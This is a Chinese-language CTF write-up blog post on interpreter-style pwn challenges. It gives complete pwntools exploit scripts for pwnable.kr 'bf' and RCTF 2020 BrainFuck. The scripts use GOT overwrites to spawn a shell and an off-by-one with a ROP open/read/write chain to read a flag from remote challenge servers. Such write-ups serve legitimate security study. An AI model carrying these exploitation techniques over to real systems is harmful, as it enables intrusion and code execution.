解释器类题目总结(一)

1.前言

参考ERROR404师傅来对解释器类题目进行一个总结,整理题目如下:

  • Pwnable_bf:此题是利用了brainfuck本身的特性以及题目没有对GOT进行保护导致我们可以便捷的进行利用。
  • 2020 RCTF bf:此题是因为解释器的实现存在漏洞,并不是利用语言本身的特性。
  • 2020 DAS-CTF OJ0:此题是直接让我们写程序来读flag,而我们读flag时又需要绕过一些题目的过滤语句~
  • DEFCON CTF Qualifier 2020 introool:此题严格来说并不是实现的解释器,但是它仍然是直接依据我们的输入来生成可执行文件,属于广义上的解释器。
  • [Redhat2019] Kaleidoscope:此题创新性的使用了fuzz来解题。
  • 2020 DAS-CTF OJ1:此题仍然为直接让我们写程序来读flag,但是他限制了所有括号的使用!
    bin文件和exp在文末

    2.基本介绍

    解释器(英语Interpreter),又译为直译器,是一种电脑程序,能够把高级编程语言一行一行直接转译运行。解释器不会一次把整个程序转译出来,只像一位“中间人”,每次运行程序时都要先转成另一种语言再作运行,因此解释器的程序运行速度比较缓慢。它每转译一行程序叙述就立刻运行,然后再转译下一行,再运行,如此不停地进行下去。
  • 实际上核心也是逆向,逆向出对应的符号代表的指令*

    3.题目

    3.1 pwnable bf

    3.1.1 查看文件

    可以看到got表的保护没有开启,同时PIE也没有开启。

3.1.2 IDA分析

很清晰的看到任意地址读写,只不过是一个一个的读写而已

3.1.3 思路

思路很容易就想到劫持got表,先越界leak出libc地址,再改got表。
其实具体思路想了半天,开始还是踩了坑的。最开始尝试将/bin/sh写入bss中,同时改putschar为system。发现这个是byte类的函数,意思就是执行system(“/“)。。。。第二次又是将got表改为one_gadget。
最后思路出炉:

**第一步:将puts地址泄露,找到system地址 第二步:将putchar函数got表改为start地址 第三步:将memset got表改为gets函数 第四步:将fgets got表改为system函数**

3.1.4 exp

#coding=utf-8
from pwn import *

context.log_level = "debug"
debug = 0
if debug:
    p = process("./bf")
    elf = ELF("./bf")
    libc = ELF("./bf_libc.so")
else:
    p = remote("pwnable.kr",9001)
    elf = ELF("./bf")
    libc = ELF("./bf_libc.so")
one_gadgets = [0x3ac5c,0x3ac5e,0x3ac62,0x3ac69,0x5fbc5,0x5fbc6]
start_address = 0x804a080
puts_got = 0x804a018
putchar_got = 0x0804a030
strlen_got = 0x0804a020
fgets_get = 0x804a010
memset_got = 0x804a02c

p.recvuntil("except [ ]")
#---leak libc---
payload ='<'*0x88
payload+='.'
payload+='>'
payload+='.'
payload+='>'
payload+='.'
payload+='>'
payload+='.'
#---modify putchar got start----
payload+='['
payload+='>'*0x15
payload+=','
payload+='>'
payload+=','
payload+='>'
payload+=','
payload+='>'
payload+=','
# modify fgets to system
payload+='['
payload+='<'*(0x20+3)
payload+=','
payload+='>'
payload+=','
payload+='>'
payload+=','
payload+='>'
payload+=','
#modify memset to gets
payload+='['
payload+='>'*(0x1c-3)
payload+=','
payload+='>'
payload+=','
payload+='>'
payload+=','
payload+='>'
payload+=','
payload+='.'

# gdb.attach(p)
p.sendline(payload)
p.recv(4)
sleep(1)
libc.address = u32(p.recv(4))-libc.symbols['puts']
success("libc address ==> "+hex(libc.address))
p.send(chr(0xe0))
sleep(1)
p.send(chr(0x84))
sleep(1)
p.send(chr(0x04))
sleep(1)
p.send(chr(0x08))
raw_input()
hack_addr = libc.sym["system"]
addr_1 = hack_addr % 0x100
addr_2 = (hack_addr >> 8)%0x100
addr_3 = (hack_addr >> 16)%0x100
addr_4 = hack_addr >> 24

gets_addr = libc.symbols["gets"]
gets_addr_1 = gets_addr % 0x100
gets_addr_2 = (gets_addr >> 8)%0x100
gets_addr_3 = (gets_addr >> 16)%0x100
gets_addr_4 = gets_addr >> 24
sleep(3)

p.recvuntil("supported.\n")
p.send(chr(addr_1))
sleep(1)
p.send(chr(addr_2))
sleep(1)
p.send(chr(addr_3))
sleep(1)
p.send(chr(addr_4))
raw_input()
sleep(3)
p.recvuntil("supported.\n")
p.send(chr(gets_addr_1))
sleep(1)
p.send(chr(gets_addr_2))
sleep(1)
p.send(chr(gets_addr_3))
sleep(1)
p.send(chr(gets_addr_4))
raw_input()
p.recvuntil("except [ ]\n")
p.sendline("/bin/sh")

p.interactive()

3.2 RCTF BrainFuck

3.2.1 查看文件

保护全开同时也开启了沙箱:
看这个可调用函数的情况应该是想ORW来获得flag吧

3.2.2 IDA分析

C++实现的,逆向有一些困难,通过百度找到brainFuck语言,找到指令对应的关系

我们看到p++、p--的时候分别都有栈保护机制开启的 再后面会打印出你的code:
符号对应指令: ``` > == ++ptr < == --ptr + == ++(*ptr) - == --(*ptr) . == putchar(*ptr) , == *ptr = == getchar() [ == while (*ptr) { ] == } ``` ### 3.2.3 思路 我们看到code的长度是0x400字节长度,下面存放的就是code的地址,好了我们开始测试: 利用这样一段指令:+[>.+], ``` c (*ptr++); while(*ptr){ ptr++; putchar(ptr); (*ptr++); } getchar(ptr); ``` 这段指令会执行0x400次,我们断点到执行getchar的地方: 执行getchar前:
红框是代码的位置:
执行后:(我们输入a)
code地址已经被我们改为0x61了。由于后面会输出改地址对应的内容,那么就很容易leak libc地址。(程序返回地址就是libc地址)

这样的话就很容易想到改code地址为ret地址,再写入rop来orw读取flag。

因为后面输入继续的话,code地址就是修改的地址,那么下次直接从这里(程序返回地址)开始写rop就可以了,但是还有一个问题就是我们需要还原code地址,也就是说需要再触发一次off by one来还原code_addr,这段代码我们跟在rop后面,由于解析到ret地址的时候会是一大片rop,但是由于里面没有我们可以解析的指令,所以会一直++循环到我们输入触发off by one的指令,这样就可以将code_addr改回来了。

3.2.4 exp

#coding=utf-8
from pwn import *

r = lambda p:p.recv()
rl = lambda p:p.recvline()
ru = lambda p,x:p.recvuntil(x)
rn = lambda p,x:p.recvn(x)
rud = lambda p,x:p.recvuntil(x,drop=True)
s = lambda p,x:p.send(x)
sl = lambda p,x:p.sendline(x)
sla = lambda p,x,y:p.sendlineafter(x,y)
sa = lambda p,x,y:p.sendafter(x,y)

context.update(arch='amd64',os='linux',log_level='DEBUG')
context.terminal = ['tmux','split','-h']
debug = 1
elf = ELF('./bf')
libc_offset = 0x3c4b20
gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
if debug:
    libc = ELF('libc.so.6')
    p = process('./bf')
else:
    libc = ELF('./x64_libc.so.6')
    p = remote('f.buuoj.cn',20173)

def exp():
    #leak libc
    p.recvuntil("enter your code:")
    payload = '+[>+],.'
    #gdb.attach(p,'b* 0x555555554000+0x1d2b')
    p.sendline(payload)
    raw_input()
    p.send("\x68")
    p.recvuntil("done! your code: ")
    libc_base = u64(p.recvline().strip('\n').ljust(8,'\x00')) - 231 - libc.sym['__libc_start_main']
    log.success("libc base => " + hex(libc_base))
    #make rops
    p_rdi = libc_base + 0x000000000002155f
    p_rsi = libc_base + 0x0000000000023e6a
    p_rdx = libc_base + 0x0000000000001b96
    p_rax = libc_base + 0x00000000000439c8
    syscall = libc_base + 0x00000000000d2975
    flag_addr = libc_base + libc.sym['__malloc_hook'] + 0x200
    rops = flat([
            #read flag into libc
            p_rdi,0,
            p_rsi,flag_addr,
            p_rdx,0x8,
            p_rax,0,
            syscall,
            #open
            p_rdi,flag_addr,
            p_rsi,0,
            p_rdx,0,
            p_rax,2,
            syscall,
            #read
            p_rdi,3,
            p_rsi,flag_addr+0x20,
            p_rdx,0x20,
            p_rax,0,
            syscall,
            #write
            p_rdi,1,
            p_rsi,flag_addr+0x20,
            p_rdx,0x20,
            p_rax,1,
            syscall
        ])
    p.recvuntil("want to continue?")
    payload = 'y'+rops   # 解析到这个位置的时候只会++,不过运气比较好,没有上述可以解析的指令
    payload += '+[>+],.' # 最后会解析到这里
    #gdb.attach(p)
    p.sendline(payload)
    raw_input()
    p.send("\x30")
    p.recvuntil("want to continue?")
    p.send("n./flag")
    p.interactive()

exp()

 Previous
VM-PWN题总结(一) VM-PWN题总结(一)
2020 GACTF vmpwn查看文件 libc 2.23,保护全开 IDA分析 我们看到分配的有0x30的chunk,该chunk的作用是前面0x18大小作为rdi、rsi、rdx三个寄存器参数。 程序会再分配两个大chunk其中一个
2020-10-29
Next 
2020 TCTF预选赛和决赛部分PWN题复盘 2020 TCTF预选赛和决赛部分PWN题复盘
SummaryDuet:沙箱+off by one 2.29: 思路一:利用off by one进行overlapping,构造A可以改写B的header,最终目标是UAF泄露出libc和heap base,以及largebin attac
2020-10-29
  TOC